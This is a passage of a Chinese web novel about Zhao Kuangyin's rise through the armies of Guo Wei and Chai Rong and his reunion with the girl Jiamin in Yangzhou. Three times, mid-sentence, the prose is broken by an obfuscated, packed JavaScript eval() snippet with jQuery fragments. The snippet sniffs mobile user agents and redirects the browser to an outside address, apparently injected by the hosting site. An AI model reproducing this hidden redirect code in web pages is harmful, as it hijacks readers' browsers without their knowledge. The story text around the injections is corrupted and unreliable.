陈抟老祖哈哈大笑,“她可不就是当皇后的命格么!我还推算出你将来要当皇帝,你信不信?” 赵匡胤抬眸看他,将目中的讶然之色尽数压下去,毕竟这老道早就编排过他是什么应龙真君下凡来拯救黎民苍生的鬼话,不过他可不是三岁小儿,随随便便就信了。 “可即便你将来做了皇帝,你与那周二小姐之间说不准也是远隔河汉,你猜猜她会成为谁的皇后?”陈抟老祖话中满是玄机。 赵匡胤怔然不语,片刻“嗤”笑道:“一不小心竟被你蛊惑,棋走输了!” 陈抟老祖对这棋局的输赢倒并不在意,起身道:“赵公子,你的命星在北,待时机成熟便会无往不胜。输一盘棋不打紧,只怕你后知后觉,今后输掉最输不起的东西,就追悔莫及。” 这局棋结束后陈抟老祖招呼也不打,就飘然下山继续四方云游,独留赵匡胤在山顶思考了半日:最输不起的东西,那是什么? 想到自己身无长物,实在想不透还能有什么输不起的。一直徘徊到黄昏,清醒时正面对着北方,心下瞬间有了计较。 看来是时候北归了! 10.云破月来 八月中秋,太原。 今日过节,城里也颇热闹,连客栈的老板都会赠送一些瓜果月饼给客人。 赵匡胤独自饮着酒,听门外有人在大街上开赌局赌钱,那种市井游戏他少年时也玩过一阵,还打过不少架,如今已无此兴致,不过那嘈杂的声音听在耳里着实有些烦躁。 其中一个跟人对赌的少年已经连输七局,看样子似乎输光了钱财,可偏偏留恋不舍。想着出门在外,连仅剩的一点盘缠也没有了,干脆心一横抢了庄家赢的银钱推开众人匆匆跑开。 赵匡胤自顾自喝酒,听这少年脚下生风,似乎有些本领。不过敢在大街上开赌局的也绝对不是什么奉公守法的良民,给他们缠上了,哪里还有安生日子过? 少年与人扭打起来,一不留神被堵进了客栈里,偏偏还滚到赵匡胤脚边。 许是见他提着一杆枪,那少年头也没抬直接抱住他的大腿:“大哥……大哥救我……” 开赌局的人登时误会了,指着赵匡胤骂道:“原来是一伙儿的,识相的把银子还来,不然今天叫你兄弟二人竖着进来横着出去!” 赵匡胤淡定地又倒了一杯酒,冷冷道:“我不认识他!” 对方哪里肯信,抄着家伙就冲上来,却只见赵匡胤银枪一舞,所到之处强人倒了一片。 还不待那少年拍手叫好,枪锋却指向了他的脖颈,赵匡胤淡淡道:“我瞧你也有几分本领,大丈夫行事理当光明磊落,怎能做这等抢劫掳掠之事?” 少年挨了一顿教训,琢磨着自己那点功夫怕不是他的对手,讪讪地把钱袋子还给庄家,才了结了此事。可这样一来他便身无分文,眼珠子一转,在赵匡胤身边坐下殷勤地道:“大哥,瞧你枪法如神英武不凡,似乎也不是本地人,不知因何故来到太原?”见对方不理他,笑道:“可是来投军的?” 赵匡胤神色微变,举着茶盏也没有再喝。 少年见自己猜对了,一拍大腿道:“巧了,我也是来投军的……”当下叽里呱啦说了一堆话,自己倒了茶,吃着瓜果月饼,把太原城的情况一五一十讲给赵匡胤听,“如今这太原守将乃是河东节度使刘崇,听说他正在‘招纳亡命’,只要有些本领,都可以得其收留,我打算明天去碰碰运气,大哥要不要一起呀!” “没兴趣!”赵匡胤放下茶点的碎银两起身离开。 这少年却像狗皮膏药一样黏上了他,一路追逐,“我叫王审琦,洛阳人士,不知大哥你姓甚名谁,家在何方?” “王审琦?”赵匡胤只觉这名字听起来颇为耳熟,在脑中搜索了一阵,喃喃道:“前年清明你在渑池县比过骑射,输给了一位叫石守信的公子!” “对呀,你怎么知道?”王审琦满脸堆笑,抱臂道:“其实那场比试最厉害的还不是石守信大哥,乃是一个骑白马拿银枪的公子,他还带着一个好漂亮的小姑娘,只可惜他赢了比赛就走了,也没留下个名号……”话音甫落猛地抬头一看,结结巴巴地道:“大……大……大哥,那位公子该不会就是你吧!” 赵匡胤不答,只是漠然前行。 王审琦愣了片刻,想着难怪第一眼看见他就觉得面熟,还冲上去抱大腿,正所谓他乡遇故知,实在万分欣喜,跑上前问道:“那漂亮小姑娘呢,没再跟着你了?” “送回家了!”赵匡胤当下把自己与嘉敏的相遇和分离简单告诉他,可那一年多的经历不可谓不多,岂是几句话就能说完? 王审琦单听他说跋涉三千里送一个五岁的小女孩儿回家,就已经惊掉了下巴,又见他脸色不大好,就诱导他多说了一些。 这一年赵匡胤孤身上路,时常想念和嘉敏在一起的日子,现在有人肯听他说这些,也就细细回忆了一遍,从上午讲到黄昏,说完以后心胸不觉舒爽了许多,他着实很想念嘉敏。 午饭和晚饭都是在同一家面馆里,故事讲完了赵匡胤拿着临行前嘉敏送的荷包又是一阵黯然。 王审琦摆弄着筷子逗他,“我说大哥喂,那嘉敏妹妹是司徒府的千金,把她送回家她就能过上锦衣玉食的生活,虽然舍不得,可总不能叫她一个小姑娘跟着你漂泊江湖,吃了上顿没下顿,这种日子咱们大老爷们儿过过也就得了。不过你们之间结下了这么深的情谊,那小姑娘怕是这辈子都没法忘记你喽,说不定此刻也正在家里日日夜夜惦念着她的赵哥哥呢!” 说来已经有半年没收到嘉敏的书信了,他居无定所,嘉敏只怕少不了会忧心。 今日中秋,她夜晚走月亮的时候会不会思念他? 时辰已不早,两人去投店,赵匡胤要了两间客房,王审琦凑过来嬉皮笑脸地道:“一间就行,我和大哥挤一挤!” 跟一个糙汉子挤一张床这等事忍一忍也就算了,可对方非但鼾声如雷,还睡相极差,不是翘腿就是伸胳膊,接二连三,赵匡胤被他烦的不行,手上劲用大了一些,竟把他推到床底下去了…… 然而这位王公子丝毫没有掉床的知觉,在地上翻了个身继续睡。赵匡胤觉着好笑,又有些不忍,拿被子给他盖好才又回到床上睡下,不一会儿就做了个梦: 他梦见嘉敏提着一盏兔子灯,牵起他的手跑到院子里拜月亮,拜完以后端着桂花清露给他饮下,清脆的声音问:“赵哥哥,何时回来看我?” “很快!”他在梦里说,心底却一片惘然,若他一生都是这般落拓江湖,以后还有机会见到嘉敏吗? 梦醒了就接纳王审琦的建议,一起投靠河东节度使刘崇,做了个无足轻重的镇将,期间又结识了王审琦的故交石守信,颇为投缘,以异性兄弟相称。然则不过半载便瞧出刘崇此人志大才疏刻薄寡恩,甚至还走了石敬瑭的老路,认小自己二十几岁的契丹皇帝为叔父。 原本刘崇招纳亡命打的是对付契丹的旗号,眼下看来却是要对付自己的政敌枢密使郭威。 兄弟三个不愿为此人所用,结伴离开太原,回到洛阳,借住在赵家管事杜祥的宅子中。 只是这洛阳城也不太平,街上每天都能看到全副武装的军队被调往各处。 石守信和王审琦在市井探听消息,回来后就和赵匡胤商议:“听说皇上打算除掉枢密使郭威,此刻正是用兵之际,说不定兄弟们可以凭这个机会在建立功勋,不知大哥意下如何?” 彼时赵匡胤正独自一人在院中下棋,一手黑子一手白子自己打自己,看的兄弟们直皱眉头,以为他是准备继续观望,却忽然听他问道:“依你们看,皇上对上郭威,谁输谁赢?” 石守信皱眉道:“皇上新主登基,实力不稳,原本还有一个叔父刘崇可为依仗;不过兄弟们瞧那刘崇也不是什么忠臣良将,不见得一定会护佑这个侄子。而枢密使郭威此人手握重兵又颇有谋略……”思虑片刻道:“这一局我压郭威!” 赵匡胤黑子落棋枰,胜局已定。 打定主意后,兄弟三人离开洛阳去往邺城投入郭威帐下,不出两年,郭威废汉帝而登基,以周为国号,都汴京。 期间赵匡胤以军功入职殿前东西班禁军行首,除了随护皇之外,平日也负责练兵。 后郭威欲扩充殿前诸班,下令招募天下豪杰来京,由赵匡胤考教武艺,选了不少精锐编入禁军。 这天在演武场练兵之时,把自己素日所练的拳法展示,可练着练着竟浑然忘我,招式越来越猛,一股劈山断海的气势喷涌而出。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667640|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众兄弟虽不敢去打断他,可实在心痒难耐,急欲去试那拳法的威力,先由石守信和王审琦打头,两名悍将冲上去才一个回合就被撞出百米之外半天没起来。 两个不行就成倍增加,四个十个二十个……最后东西两班禁军数百人合围,直打了一个多时辰,虽然赵匡胤已气力耗尽,可围攻的人连一个能站起来的都没有。 一直在场外目不转睛看着的太子柴荣哈哈大笑,“匡胤,父皇素来夸你英武不凡,能以一挡百,我还倒是夸口,今日一见不得不服啊!” 赵匡胤忙抱拳道:“太子过誉了!” 柴荣年纪大不了他许多,乃是个十分爱才之辈,拍着他的肩膀道:“我听说父皇意欲拜你为滑州兴顺副指挥使,在我看来有些大材小用了,有没有兴趣到我的开封府来?” “承蒙太子抬爱,匡胤愿随太子左右!”赵匡胤深吸了口气,想着太子柴荣文韬武略,可大施拳脚的日子终于来了。 而柴荣果然对他十分倚重,直接给了京城骑兵首领的职位。次年,太祖郭威去世,柴荣继位。 趁着国丧之际,北方刘崇政权联合契丹军队进犯周疆,于太平驿破周军,直逼潞州,柴荣御驾亲征,双方军队激战于高平。 虽然柴荣指挥得当,无奈敌我实力悬殊太大,后周兵少,又有官兵临阵脱逃。情势危急之下,柴荣引亲兵督战,赵匡胤一马当先,联合张永德各率两千精兵左右夹击以死拼杀,大破刘崇军。 此后周军势如破竹,以赵匡胤为先锋,乘胜攻打刘崇政权都城太原。 可太原城防守严密,攻城之战数日不下,凭他本事过人也禁不住焦躁,持着孤勇冒进,被流矢射伤了手臂坠下马来,幸得石守信和王审琦从旁救助。 太原城乃是李唐龙兴之地,传说有龙脉护佑。 柴荣眼见祭出赵匡胤这等猛将也无济于事,恐折损太多将才,遂下令撤兵。 回京师不过三月,赵匡胤官拜殿前都虞侯,成了整个大周最年轻的一代将星。 因为皇帝对其倚重,隔年又派他收复了被孟蜀政权所占的秦、阶、成、凤四州。 四州破后,周军挥师南下攻南唐。 出发前几日,石守信见他神情恍惚,总是莫名其妙发呆,忍了半晌上前问道:“大哥,是不是有什么心事,跟兄弟说说?” 王审琦想起什么似的拍了下脑门,也愁眉苦脸的不再说话。 赵匡胤只得道:“嘉敏的家在南唐!” 料他没心情多说,王审琦把石守信叫出去喝酒,一边详细讲了大哥和嘉敏之间的往事。 石守信蘸酱吃黄瓜,听的津津有味,后来拍腿道:“大哥如此疼爱他那嘉敏妹妹,此番前去攻打南唐,岂不是左右为难?” 王审琦白了他一眼道:“你若这么想,可小瞧了咱大哥。方今天下,我大周实力强劲,又有大哥这等天降将星,打败其他政权那是迟早的事,南唐又岂会例外?嘉敏妹妹是司徒家的千金,自有家人护佑,也不至于会出什么差池,顶多他现在心里有些不是滋味罢了。” 两个人喝完酒回到家,赵匡胤坐在书房里写信:“近年烽火连绵,战事不断。偶有闲暇,见庭中芭蕉已开,每早,采花百朵,吸其露,甘鲜可爱,与荷露相差无几。忽念与妹诀别已有五载,未知岁月悠长,妹可安好?另,兄已拜官入仕,夙愿得偿,想来定是妹日夜求诸于佛前,为兄积功德所致。昔年金陵之约,言犹在耳,兄夙夜不曾忘怀,祈之盼之,但愿今岁能得一会。” 将信封好,抬头见暮色已至,出神了片刻喃喃道:“嘉敏今年已有十一岁,想来模样变了许多,也不知再见还能不能认出来。” 11.络纬秋鸣 柴荣欲一举夺下淮南,兵发南唐之前先派赵匡胤等人乔装前去各方打探,而后再做筹划。 赵匡胤遂亲点了六名兄弟南下,走寿州、滁州,最后到达扬州,此处距离南唐都城金陵只有几百里之遥。 这天正是九九重阳节,亭皋木叶下,陇首秋云飞。 天气已经转凉,然则南人有冒雨赏重阳,簪茱萸登高燕饮之习俗。集市间卖米粉做的五色重阳糕,百工晚上也要开工,还可逛逛夜市。 一行七人做南朝装扮进了城,头戴茱萸混迹人群中倒也不如何打眼。广陵之繁华富庶不亚于金陵,众人各自在街市上采买需要的东西,唯独赵匡胤一直摆弄一些奇巧玩意儿,像什么兔子灯、髻花之类的,惊呆了众兄弟。 王审琦小声道:“大哥每到一个地方都去搜罗一些小女孩儿家喜欢的东西,看来是又准备给他的嘉敏妹妹送礼物了!” “嘉敏妹妹是谁呀?”杨小九探出头来问。 王审琦贼兮兮地道:“你还记得那年在渑池县大哥走马射箭时带着的小姑娘吗?就是嘲笑你,说大哥又不打算讨你做媳妇的那个!” 杨小九狠狠点了几下头,“记得记得!那小姑娘模样可真俊呐!”说着抱臂笑起来,“那时候她坐在大哥马背上,一口一个‘赵哥哥’,甜的人心都要化了。” 赵匡胤随便他们窃窃私语也不加理会,拿起一个木雕兔子反复看,耳边却突然响起一个清脆的声音:“赵哥哥——” 那声音又娇又甜,有几分像嘉敏却又不完全像,赵匡胤皱眉,以为是自己产生了幻觉,缓缓回头望去,看到一个穿碧色罗裙的女孩儿在马车里唤他,那眉目如画清妍柔丽的模样,活脱脱一个长大了些的嘉敏。 “我是不是在做梦,嘉敏怎么会出现在这里?而且怎么会这么巧,正好在大街上遇见?”赵匡胤不敢相信自己的眼睛,五年未见,嘉敏的模样多少变了些,他不太敢认。 石守信等人围过来纷纷道:“大哥,有个漂亮小姑娘从马车上下来,正朝你跑过来……” 赵匡胤没听他们说完就也跑了过去,在大街上把嘉敏抱起来,开心地道:“嘉敏——嘉敏——真的是你!” …… 人群熙熙攘攘的,众兄弟见赵匡胤呆立了这么久,终于上前将他叫醒。 原来真的是幻觉,街上有很多十一二岁的女孩儿,都让他错看成嘉敏了! 在扬州城盘桓两日,霜降至。夜五更,听到一阵奇怪的声音,吴人谓之“信爆”,许多人跑到演武场去看官府祭神。 祭的乃是六纛之神,会演习火枪阵,因此才有怪声。按照南地习俗,立春迎喜为开兵,霜降则为收兵,祭神止兵戈。 赵匡胤在给柴荣的军事线报中提了此事,再加上每至冬日,淮河水位会大减甚至断流,两个人都敏锐的觉察到冬日战淮南的有利因素。 战事爆发之前,赵匡胤留在淮南继续查探。南郡习俗颇多,重阳节后看菊,八九月间唤黄雀养蝈蝈斗鹌鹑之类,皆为百姓所喜。 以前在路上他也曾经编过一个草笼子,捉一只蝈蝈给嘉敏玩。 络纬啼鸣凉秋至,声声慢诉夜来寒。 这小虫子要用丹砂喂养,也吃丝瓜花和瓜练,原本以为二人风霜长途,大约养不了多久,没想到竟然养过了一个冬天,嘉敏很是开心。 兄弟们见赵匡胤独自出去转了一天,回来的时候手里提着个蝈蝈笼,不知何谓,纷纷掩嘴偷笑。 到了十月份,枫叶霜红,乡民家家酿冬酒,名“十月白”,甘甜口味的嘉敏也能喝,配上煮熟的螃蟹,会是很美味的一餐饭。嘉敏很爱吃蟹膏,他总是全都留给她。 眼见北归之期将近,那蝈蝈倒还养的不错,琢磨着给它送个人家,于是便提着笼子上了街。 想要的小孩不少,可他偏偏想送给一个长的漂亮的十一岁小女孩,寻了许久也没找到,就这么在街头徘徊了许久。耳边也有听到女孩儿的声音叫着“哥哥哥哥”之类的,可这些天已经不止一次出现幻觉,自然也就习以为常,不再回头去看。 只是那声音一直在耳边响,忽然间听不见了反倒有些疑惑。赵匡胤皱眉,凭着一股奇特的知觉调转过头又走了回去。 十几步远的街角,有一个漂亮的女孩儿坐在石头上掩面哭泣。 赵匡胤看她的衣饰打扮像是富贵人家,头上梳着双髻,披一件浅碧色斗篷,手边放着一个草编的蝈蝈笼子,不知为何脱口而出:“嘉敏——” 声音虽低,那女孩儿却霍然止住哭声抬头看他,二人在黄昏凄冷的风声里怔然相对。 五载别离,嘉敏模样变了不少,好在赵匡胤只是褪去了些许稚气,一张脸还是那般英武俊俏。 嘉敏先跑过来抱住他,大声哭道:“赵哥哥——赵哥哥——我以为你不认识我了,你步子迈的那么大,我追不上,还和管家还有秋芙都走散了,一个人待在这里可吓死我了!” 赵匡胤抬手放在她的肩头,许久才确认不是幻觉,喃喃道:“嘉敏,你长这么大了,赵哥哥真的认不出来了!”说着也自红了眼眶。 等嘉敏哭够了,拉着她在刚才的石头上坐下,听她解释着到扬州来的缘由:“前些日子陈抟老神仙到我家里去做客,偷偷告诉我过不了多久你就会来扬州。碰巧我家祖宅就在扬州,所以我就央求爹爹同意我和哥哥一起在老宅住上一阵子。这些时日我每天都去大明寺上香拜菩萨,希望能遇见你,想来菩萨定然是听见我的话了。赵哥哥,我终于见到你了!” 如此猝不及防的相遇,嘉敏在他的怀里一蹭再蹭,现在也不怕跟家人走散,反正待会儿赵匡胤一定会将她好好送回去。 赵匡胤笑道:“以前抱你的时候一只手就够了,现在要两只手,可你这性子倒是没变,还是这么爱哭!”说着刮她的鼻尖。 见天色已晚,琢磨着先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699557|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送她回家。 回到周家老宅,管家和秋芙急的像热锅上的蚂蚁,连嘉敏的长兄周宏也正准备带人到街上去找。 见赵匡胤牵着她的手走回来,管家还以为自己看花了眼,惊的差点晕过去。 周宏听说这赵公子就是五年前千里迢迢把妹妹送回家的大恩人,定要留他在府上用晚膳。赵匡胤也不想和嘉敏这么快分开,就欣然同意。 晚膳过后,想着时辰太晚,不得不回客栈去,嘉敏就拿出自己耗费无数个日夜做成的衣裳和鞋袜送给他,约好明天再聚首。 这一夜赵匡胤很是开心,回去就和兄弟们说要晚两天再走,也不告知缘由,自回房歇息。 待他大清早穿上了嘉敏缝制的新衣出现,兄弟几个都不淡定了。 “新衣服、新鞋子、新袜子……大哥你全身上下都簇新簇新的,打扮的跟新郎倌儿似的,料子还这么好,得花不少钱吧!”王审琦瞪大眼,对赵匡胤的一身装扮评头论足。 石守信摇头骂道:“你个笨蛋,你何时见过大哥穿这么华丽的衣服?大哥这身新衣裳哪里是自己买的,全是嘉敏妹妹一针一线缝制出来的,怎么样,羡慕吧!”他与赵匡胤住一间房,自然提早知道了内情。 “嘉敏妹妹——”刘守忠、韩重赟等没听说过嘉敏的人登时有了些别样的猜测,“这是哪家的闺秀如此心灵手巧,大哥是不是和人家……” 话音未落被赵匡胤一个巴掌拍头上威胁:“我那嘉敏妹妹今年还只有十一岁,再敢胡言乱语当心我拔了你的舌头!” “才十一岁啊!”刘守忠大吃一惊,连带其他几个人也甚觉不可思议。 于是石守信便把赵匡胤和嘉敏的事讲了个七七八八,众人这才恍然大悟,一边钦佩大哥的侠肝义胆,一边羡慕他能有一个这般乖巧可人的妹妹。 一向善解人意的王审琦又说道:“哎,今天天气这么好,大哥又穿的如此光鲜,不如我们带上嘉敏妹妹去打猎吧!好久没打牙祭了,一个月都瘦了好几斤!” 赵匡胤听罢也觉得这主意不错,便点头答应,去周府接了嘉敏来。 兄弟们一个个涌上来,“原来这就是那位心灵手巧的嘉敏妹妹啊,可把大哥惦念的不轻!你知不知道大哥前一阵子在街上看到哪个小姑娘都以为是看见了你,哥儿几个差点去给他请郎中看病了!” 八个人笑闹着出了城,一路上嘉敏很是快活,只说自打和赵匡胤分开以后就再也没有骑过马,好想和从前一样尝尝策马狂奔的滋味。 赵匡胤遂笑道:“那你现在坐稳了!”话音落扬鞭策马一阵疾驰。 嘉敏肆意欢笑,曾经的风雨之途虽然艰辛,却在她心底留下了不可磨灭的记忆。 这些年她对赵匡胤的思念就像夏天吃的莲子一样,甘甜的果实中包裹着苦涩的莲芯。 流光暗度,韶华偷换,她好希望路永远没有尽头,这样快乐也就不会停止。 12.盘龙六合 今天运气出奇的好,猎物全都跟赶集似的一个个被射中。 到了正午,一帮兄弟又和嘉敏搭上话,“嘉敏妹妹,我们午饭烹煮这些野味,你可吃的惯?” 嘉敏看着他们打的飞禽走兽,又回想起过去和赵匡胤在路上的那一年,也时常打些野味烧来吃,登时食指大动,开心地点头。 众人在河边架起了篝火,杨小九又打来几尾鲜鱼,嘉敏用这些鱼熬煮了一锅汤,赵匡胤把野兔山鸡用盐和香草烤熟,再加上到附近采一些野果,一顿午饭吃的很是热闹。 嘉敏的鱼汤被一群人夸赞,王审琦更是说道:“嘉敏妹妹年纪虽小,会的却不少,难怪大哥整日里妹妹长妹妹短的念叨个没完。若我有这样一个妹妹,怕是一点也不会比大哥少念两句!” 嘉敏听罢乖巧地道:“赵哥哥给我的信里一直提及他的几位结义兄弟,我既然是赵哥哥的妹妹,自然也是几位哥哥的妹妹了。此番来扬州,嘉敏给几位哥哥也准备了礼物,不是什么贵重的东西,希望哥哥们不要嫌弃。” 六人听罢一个个美的跟喝醉了似的,纷纷道:“嘉敏妹妹送的,哪怕是一根鹅毛,那也是珍贵无比。今天真是撞大运了,认了这么个宝贝妹妹,兄弟们以后都好好当兵,赚了军饷好给妹妹买礼物,谁送的差我第一个翻脸!” 这么闹哄哄说了半天,刘守忠好像真的醉了,大着舌头道:“嘉敏妹妹,你是南唐司徒家的千金,大哥和我们这些弟兄在北朝当兵,倘若双方打起来,你是盼你赵哥哥赢,还是你爹胜?”刚说完就被王审琦和石守信堵住嘴按在地上捶。 嘉敏神色一变,喃喃道:“其实我爹爹常说天下混战不断,最苦的乃是老百姓,若是有一个人能够结束乱局使天下定于一,不管是南朝人还是北朝人都不打紧,重要的是莫要滥杀,将伤害降到最低。赵哥哥和我爹都是好人,不管他们谁赢了我都会高兴!” 听这闺中女儿有这般见识,众人鼓掌喝彩,赵匡胤也松了口气,笑问:“嘉敏,你奔波来扬州,可还辛苦?” 嘉敏摇头道:“能见到赵哥哥就不辛苦,一直等着才辛苦!” 这五年来,虽说每次嘉敏生辰都有礼物送到,书信也从未断过,可就是寻不到机会见面,赵匡胤也一直惦念着。如今却是嘉敏跑来见他,一时心绪万千,有太多话不知从何说起。 “我在扬州城还可以待上两天,会不会打扰到赵哥哥?”嘉敏小心翼翼地问,想着赵匡胤身在军中,大约有诸多不便。 赵匡胤摇头道:“无碍,我们也定在两天后启程,这段时间大约可以天天见面。” 嘉敏大喜道:“太好了!”也不顾还有旁人在,抱住赵匡胤开心不已。 傍晚把嘉敏送回去,周宏去走亲访友,未得碰面。 管家把嘉敏准备的礼物拿出来,每人给了一份,赵匡胤的最多。 依依不舍地作别,回到客栈纷纷打开礼物攀比起来,什么我家妹妹就是懂事,明天一定要买最好的点心给她吃之类的话说个不停。 可众人哪有不识趣的,没有一个去显眼添乱,只让赵匡胤独自去陪嘉敏。 第一天逛集市听说书看百戏,第二天又陪嘉敏去庙中祈福,在寺庙里学着高僧打坐吃斋饭。 回去以后嘉敏拿出尺子来给赵匡胤量体裁衣,她身量不够就端着小凳子站在上面,这样把数据记牢了,一边道:“以往我都是拿着赵哥哥的旧衣估摸着尺寸,怕做的不够合身。现在好了,等会去了就可以赶制冬衣,能在雪降下来之前做好送到你手上自然最好了。” 赵匡胤心疼道:“嘉敏,你年岁尚小,不必这般辛苦总是做新衣服给我。” 嘉敏摇头:“不辛苦,赵哥哥不会以为我每天都只是闷在屋子里做衣服,都不出去玩耍的么?其实我还学了别的,娘说我舞跳的极好,丝毫不比姐姐当年差,明天我跳给你看好不好?” 明天嘉敏就要回金陵去了,她穿着漂亮的舞衣,在郊外水边翩翩起舞。 她年纪虽小,却有着远超常人的天赋,每一个舞步都出尘脱俗飘然若仙,直教观者弄丢了心魂。 在远处偷看的石守信等人更是一个个目瞪口呆,完全没有分别的惆怅,反倒是乐陶陶的全然不知身在何处。 待到嘉敏的马车走远,才纷纷上前喊道:“嘉敏妹妹不要担心,大哥交给我们照顾了,等有机会各位哥哥都去金陵看你!” 嘉敏大声回道:“各位哥哥一定要来,嘉敏在金陵的家里等着你们!” 她的手边还有两只蝈蝈,都养的很肥。 眼见车马渐去香尘远,众人才又回过神。 他们的包袱里尚有嘉敏留下的一堆礼物,大部分都是些人参灵芝金疮药之类的珍贵药材,赵匡胤的多了几个荷包香囊。 虽说此番离别不似五年前那般两个人都痛哭流涕,可终归心中不舍。 是夜在郊外扎营,赵匡胤独自在外面呆了许久,直到石守信找来,一条胳膊搭上他肩膀贼兮兮地问:“大哥,我们认识这么久了,兄弟的为人你可还信得过?” 赵匡胤听他这般讲话,不由警惕起来,沉声问道:“你想要做什么?” 石守信嘿嘿笑了两声道:“你看,兄弟我为人端方,家世清白,多少也还有些本事。 虽说嘉敏妹妹年纪尚轻,可过几年总归是会长大,若是没许人家的话,何不把她许给小弟?这样也算是亲上加亲,兄弟变妹夫……” 话未说完突然一声惨叫,赵匡胤的老拳已经招呼到他肚子上,一拳不够,拳拳到肉,直打的石守信跪地求饶:“大哥……大哥……饶兄弟一条狗命,再也不敢了……” 赵匡胤又踹了他两脚威胁:“再敢对嘉敏胡说八道,我要你狗命!” 回到帐篷里,见看完戏的几个人贼兮兮地站着,赵匡胤干脆又松了松手筋问道:“还有谁想亲上加亲当我妹夫的,站出来我一并收拾了!” 众人登时大惊失色摇头如拨浪鼓:“不敢不敢,大哥饶命!”说罢快速窜回被窝里大气也不敢喘一口,生怕晚一点点就会落得和石守信一个下场。 大哥的拳头,那是普通人受得住的吗?北朝第一天将可绝非浪得虚名! 次年二月,赵匡胤随柴荣征伐淮南,首战在涡口大败唐军。 南唐派出奉化军节度使皇甫晖和常州团练使姚凤率军十五万驻扎滁州西清流关,被赵匡胤夜袭击败。 周军追到滁洲城下,皇甫晖以应急之法请布阵决胜,赵匡胤答应。可皇甫晖还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720099|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是小瞧了这个二十多岁的年轻将领,刚列好阵出战,对方就一马当先冲过来给他头上来了一刀,将他连同姚凤一起生擒。 此时,定武军节度使韩令坤攻下扬州,南唐派重兵意欲夺回,韩令坤觉寡不敌众,禀报柴荣欲退兵。柴荣遂命赵匡胤率精兵两千前去支援,与唐军数万人马战于六合。 原本唐军统帅齐王李景达见周军只有两千余人,而自己的骑兵全副武装,便有些大意轻敌,命令士兵冲过去作战。却没想到对方兵士人手一根奇怪的两节棍,中间用铁链相接,似鞭子一样伸长了,专打马腿。唐军登时人仰马翻,一场仗下来被斩杀一万多人,直吓破了胆。 李景达捂着被打破的额头颤声问道:“这是什么武器,为何本王从未见过?” 石守信哈哈大笑,朗声道:“李景达老儿听好了,此乃我大哥赵匡胤发明的盘龙棍,专门克制尔等全副武装的骑兵,未知威力如何呀?” 李景达喃喃道:“赵匡胤,本王记住了!” 六合之战以后,赵匡胤之威名直传到了南唐皇帝李璟耳朵里,民间也有人称其为天降神将,只怕这北周的声势会一天比一天强盛。 司徒周宗因病在家修养,对朝堂之事尚知之不详,直到陈抟老祖再次登门拜访。 这老神仙虽性情放诞了些,可料事如神,周宗对他自然礼遇有加。 两人喝茶谈玄说道了半日,陈抟老祖突然提及朝堂之事:“前几天齐王率数万人在六合与周军两千人对战惨败而归,此事司徒大人可有风闻?” 周宗点头道:“数万人对两千人竟以惨败收场,实在骇人听闻,据说是因为周营中有一位天将指挥,才打得了这等以少胜多的硬仗。” 陈抟老祖捻须微笑,“不知司徒大人可听说了那位天将姓甚名谁?” “好像姓赵……”周宗皱眉道:“老神仙,你知道我一直在家养病,就不要卖关子了,这位天将叫赵什么来着?” “他叫赵匡胤!”陈抟老祖低眉喝茶。 “赵匡胤……”周宗思虑片刻霍然起身大声道:“赵匡胤——” “没错,正是当年不远千里将二小姐送还给周家的赵匡胤!”陈抟老祖把茶盏放在桌上,缓缓道:“据说交战当日,有人在六合之野上空看到有白龙盘旋,待周军大胜之后白龙才消失,故而‘天将’之说才传的如此神乎其神。司徒大人,你与那赵公子也算是旧识,当初可曾瞧出他能有今日这般作为?” 周宗颓然坐下缓缓道:“当初我只觉得匡胤生的不凡,可他出身寒微,就算有一身本领,也不见得将来能够出将入相位及人臣,却不想他竟如此神勇。北周得此将才,何愁天下不定啊!” 陈抟老祖淡淡道:“出将入相——你也忒把这赵公子小瞧了!” “什么?”周宗以为自己听错了,稍一思虑大惊道:“难道说他将来还会……” 陈抟老祖又是大笑起身离开,待走远些声音才飘飘渺渺地传来:“司徒大人,数年前我就断言过你那小女儿将来乃是帝后之命,你说她和赵公子之间这段旷世奇缘会不会有个结果?” 周宗在廊檐下站了半日,悟出一个不太敢相信的预言:“他的意思是说赵匡胤将来会当皇帝,而嘉敏会做皇后!” 13.两心难猜 六合之战过后第二年,赵匡胤又连克泗州、楚州、扬州,南唐之主李璟恐周军南下,遣使求和。 听说赵匡胤暂时驻兵扬州,嘉敏派人送了书信,其中附带一张画像,说是母亲告诉她自己这两年变化有些大,恐他以后见了又认不出,所以特地请画师画了一幅画像连同书信一并送来。 赵匡胤打开画像一看,不由呆住,画中的嘉敏凭栏浅笑,亭亭似月,嬿婉如春,已长成一副清妍明媚的少女模样,的确是变化很大。 